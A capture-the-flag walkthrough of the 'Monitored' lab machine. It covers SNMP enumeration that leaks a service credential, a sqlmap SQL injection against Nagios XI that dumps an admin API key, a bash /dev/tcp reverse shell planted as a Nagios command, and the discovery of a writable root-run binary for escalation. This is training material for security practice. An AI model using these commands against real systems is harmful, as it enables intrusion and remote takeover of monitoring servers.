This is a Debian machine owned by an IT team that runs a Nagios application used for network monitoring purposes. SNMP is also running on the host for maintenance purposes, and the public tree leaks credentials for the Nagios core. These credentials can be used to get an authentication token using the API which will be subsequently used to exploit an SQLi vulnerability affecting the installed Nagios version. SQLi allows dumping the database and retrieve the admin API key that we use to create our own admin user and get the user flag. For escalation, we abuse a writable binary found in the file system which run as root.
Enumerating the web server with Firefox, we find out a Nagios Xi login portal running at https://nagios.monitored.htb/nagiosxi. Nagios is an IT tool dedicated to monitor infrastructure components such as applications, OSes, networks and system metrics.
With this, we can consider the web enumeration over. Now we'll continue enumerating LDAP.
> nmap $target -p389 -script discoveryPre-scanscriptresults:|_hostmap-robtex:*TEMPORARILYDISABLED*duetochangesinRobtex's API. See https://www.robtex.com/api/|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex'sAPI.Seehttps://www.robtex.com/api/|targets-asn:|_targets-asn.asnisamandatoryparameterNmapscanreportformonitored.htb (10.10.11.248)Hostisup (0.043s latency).PORTSTATESERVICE389/tcpopenldap|ldap-search:|Context:dc=monitored,dc=htb|dn:dc=monitored,dc=htb|objectClass:top|objectClass:dcObject|objectClass:organization|o:monitored.htb|_dc:monitored|ldap-rootdse:|LDAPResults|<ROOT>|namingContexts:dc=monitored,dc=htb|supportedControl:2.16.840.1.113730.3.4.18|supportedControl:2.16.840.1.113730.3.4.2|supportedControl:1.3.6.1.4.1.4203.1.10.1|supportedControl:1.3.6.1.1.22|supportedControl:1.2.840.113556.1.4.319|supportedControl:1.2.826.0.1.3344810.2.3|supportedControl:1.3.6.1.1.13.2|supportedControl:1.3.6.1.1.13.1|supportedControl:1.3.6.1.1.12|supportedExtension:1.3.6.1.4.1.4203.1.11.1|supportedExtension:1.3.6.1.4.1.4203.1.11.3|supportedExtension:1.3.6.1.1.8|supportedLDAPVersion:3|supportedSASLMechanisms:DIGEST-MD5|supportedSASLMechanisms:NTLM|supportedSASLMechanisms:CRAM-MD5|_subschemaSubentry:cn=SubschemaHostscriptresults:|_fcrdns:FAIL (No PTRrecord)|dns-brute:|_DNSBrute-forcehostnames:Noresults.Nmapdone:1IPaddress (1 hostup) scanned in 16.82 seconds
It seems SNMP is running in the host, we can confirm it with an UDP scan on port 161.
Best way to continue enumerating the public SNMP tree is to use the snmpwalk tool. The output provided is very large and supplies huge amount of information, among other, a list of running processes.
> snmpwalk -c public -v1 -t 10 $targetiso.3.6.1.2.1.1.1.0=STRING:"Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64"iso.3.6.1.2.1.1.2.0=OID:iso.3.6.1.4.1.8072.3.2.10iso.3.6.1.2.1.1.3.0=Timeticks: (1036224) 2:52:42.24iso.3.6.1.2.1.1.4.0=STRING:"Me <root@monitored.htb>"iso.3.6.1.2.1.1.5.0=STRING:"monitored"iso.3.6.1.2.1.1.6.0=STRING:"Sitting on the Dock of the Bay"iso.3.6.1.2.1.1.7.0=INTEGER:72iso.3.6.1.2.1.1.8.0=Timeticks: (1550) 0:00:15.50…iso.3.6.1.2.1.1.9.1.3.1=STRING:"The SNMP Management Architecture MIB."iso.3.6.1.2.1.1.9.1.3.2=STRING:"The MIB for Message Processing and Dispatching."iso.3.6.1.2.1.1.9.1.3.3=STRING:"The management information definitions for the SNMP User-based Security Model."iso.3.6.1.2.1.1.9.1.3.4=STRING:"The MIB module for SNMPv2 entities"iso.3.6.1.2.1.1.9.1.3.5=STRING:"View-based Access Control Model for SNMP."iso.3.6.1.2.1.1.9.1.3.6=STRING:"The MIB module for managing TCP implementations"iso.3.6.1.2.1.1.9.1.3.7=STRING:"The MIB module for managing UDP implementations"iso.3.6.1.2.1.1.9.1.3.8=STRING:"The MIB module for managing IP and ICMP implementations"iso.3.6.1.2.1.1.9.1.3.9=STRING:"The MIB modules for managing SNMP Notification, plus filtering."iso.3.6.1.2.1.1.9.1.3.10=STRING:"The MIB module for logging SNMP Notifications."iso.3.6.1.2.1.1.9.1.3.11=STRING:"The MIB module for logging SNMP Notifications."iso.3.6.1.2.1.25.1.4.0=STRING:"BOOT_IMAGE=/boot/vmlinuz-5.10.0-27-amd64 root=UUID=d8761c35-f10f-4e79-b24c-38a65ad7ce1b ro net.ifnames=0 biosdevname=0 quiet"…iso.3.6.1.2.1.25.4.2.1.5.492=STRING:"--config /etc/laurel/config.toml"iso.3.6.1.2.1.25.4.2.1.5.522=""iso.3.6.1.2.1.25.4.2.1.5.569=STRING:"-d -q -s"iso.3.6.1.2.1.25.4.2.1.5.571=STRING:"-f"iso.3.6.1.2.1.25.4.2.1.5.572=STRING:"--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"iso.3.6.1.2.1.25.4.2.1.5.575=STRING:"-n -iNONE"iso.3.6.1.2.1.25.4.2.1.5.577=""iso.3.6.1.2.1.25.4.2.1.5.578=STRING:"-u -s -O /run/wpa_supplicant"iso.3.6.1.2.1.25.4.2.1.5.588=STRING:"-f"iso.3.6.1.2.1.25.4.2.1.5.609=STRING:"-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "iso.3.6.1.2.1.25.4.2.1.5.621=STRING:"-4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0"iso.3.6.1.2.1.25.4.2.1.5.686=""iso.3.6.1.2.1.25.4.2.1.5.687=""iso.3.6.1.2.1.25.4.2.1.5.731=STRING:"-f /usr/local/nagios/etc/pnp/npcd.cfg"iso.3.6.1.2.1.25.4.2.1.5.737=STRING:"-LOw -f -p /run/snmptrapd.pid"iso.3.6.1.2.1.25.4.2.1.5.750=STRING:"-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"iso.3.6.1.2.1.25.4.2.1.5.759=STRING:"-o -p -- \\u --noclear tty1 linux"iso.3.6.1.2.1.25.4.2.1.5.770=STRING:"-p /var/run/ntpd.pid -g -u 108:116"iso.3.6.1.2.1.25.4.2.1.5.780=""iso.3.6.1.2.1.25.4.2.1.5.816=STRING:"-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"iso.3.6.1.2.1.25.4.2.1.5.818=STRING:"-h ldap:/// ldapi:/// -g openldap -u openldap -F /etc/ldap/slapd.d"iso.3.6.1.2.1.25.4.2.1.5.819=STRING:"-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"iso.3.6.1.2.1.25.4.2.1.5.826=STRING:"-k start"iso.3.6.1.2.1.25.4.2.1.5.834=STRING:"-D /var/lib/postgresql/13/main -c config_file=/etc/postgresql/13/main/postgresql.conf"iso.3.6.1.2.1.25.4.2.1.5.1535=STRING:"-u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"iso.3.6.1.2.1.25.4.2.1.5.1536=STRING:"-c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"iso.3.6.1.2.1.25.4.2.1.5.1562=STRING:"-bd -q30m"iso.3.6.1.2.1.25.4.2.1.5.1976=STRING:"-k start"iso.3.6.1.2.1.25.4.2.1.5.2081=STRING:"-k start"iso.3.6.1.2.1.25.4.2.1.5.2115=STRING:"-d /usr/local/nagios/etc/nagios.cfg"iso.3.6.1.2.1.25.4.2.1.5.2118=STRING:"--worker /usr/local/nagios/var/rw/nagios.qh"iso.3.6.1.2.1.25.4.2.1.5.2119=STRING:"--worker /usr/local/nagios/var/rw/nagios.qh"iso.3.6.1.2.1.25.4.2.1.5.2120=STRING:"--worker /usr/local/nagios/var/rw/nagios.qh"iso.3.6.1.2.1.25.4.2.1.5.2121=STRING:"--worker /usr/local/nagios/var/rw/nagios.qh"iso.3.6.1.2.1.25.4.2.1.5.2255=STRING:"-d /usr/local/nagios/etc/nagios.cfg"
There are calls to a local shell script check_host.sh along with what seems to be a credential svc:XjH7VCehowpR1xZB
At this point we finish the enumeration phase. Let's do a summary of what we have found so far:
A Nagios network monitoring tool is running on port 80.
If we remember, we have already found credentials svc:XjH7VCehowpR1xZB. The credential do not work in Nagios Xi portal https://nagios.monitored.htb/nagiosxi.login.php (an "User disabled" error is returned).
The following command performs the authentication and a token is received.
> curl -k -L -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/authenticate" -d "username=svc&password=XjH7VCehowpR1xZB"{"username":"svc","user_id":"2","auth_token":"7f3dfb4cf7830c3895d701817697b39c214237a5","valid_min":5,"valid_until":"Sun, 14 Jan 2024 09:49:36 -0500"}
In summary, although the svc account is disabled in the web login, it seems the API is still supplying tokens for this account when queried with curl. We can take advantage of this now and launch the SQLi attack with sqlmap and passing the token as argument.
> sqlmap --batch --dbms mysql --level 3 --risk 3 -p id -u "http://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?id=1&token=a150999b9c2b5ae2bb6c7c38b7b7c48e854838fe"
You have to patiently dump the databases and tables until you find the right one. In the process the token may expire so you may need to request a new one. Eventually, you end up finding an API key for user admin on the nagiosxi database and xi_users table.
> sqlmap --batch --dbms mysql --level 3 --risk 3 -p id -D nagiosxi -T xi_users –dump -u "http://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?id=1&token=a150999b9c2b5ae2bb6c7c38b7b7c48e854838fe"
We can use this API key to add a new admin user. In this exploit https://www.exploit-db.com/exploits/44560 I found out the API endpoint and the parameters to do so.
Tips: make sure an user_id is received, if null is received your user has not been correctly created and you won't be able to use it. If that's the case, try changing paramenters; for example, in my case I found out the email had to finish in @localhost for the user to be correctly created.
Now you can login into the Nagios Xi login site with your new admin account.
In the dashboard, navigate to Configure (top menu) -> Advanced configuration -> Commands -> Add new. Alternatively, you can edit an already existing command. In the command line field type a command to send a reverse shell to your attacker machine.
> bash -c 'bash -i >& /dev/tcp/<your ip here>/1919 0>&1'
Click on "Apply Changes" to save the command. Note: I constantly received error when trying to apply changes; however, after checking the history, I found out that as long as the command.cfg file is correctly saved, everything will be ok.
To issue the command navigate to Monitoring -> Hosts -> Run check command. Start a listener and launch the command, a reverse shell is received, and you can get the user flag.
It seems the user can start/stop services nagios and npcd as root without supplying a password. Enumerate the binaries related to the nagios and npcd services.
> find / -name nagios 2> /dev/null/usr/local/nagios> find / -name npcd 2> /dev/null/usr/local/nagios/bin/npcd> ls -hal /usr/local/nagios/bin/nagios-rwxr-xr--1nagiosnagios701KJan1410:42/usr/local/nagios/bin/nagios> ls -hal /usr/local/nagios/bin/npcd-rwxrwxrwx1nagiosnagios87Jan1414:07/usr/local/nagios/bin/npcd
Turns out we have writable access to the npcd binary. Stop the service using the shell script.
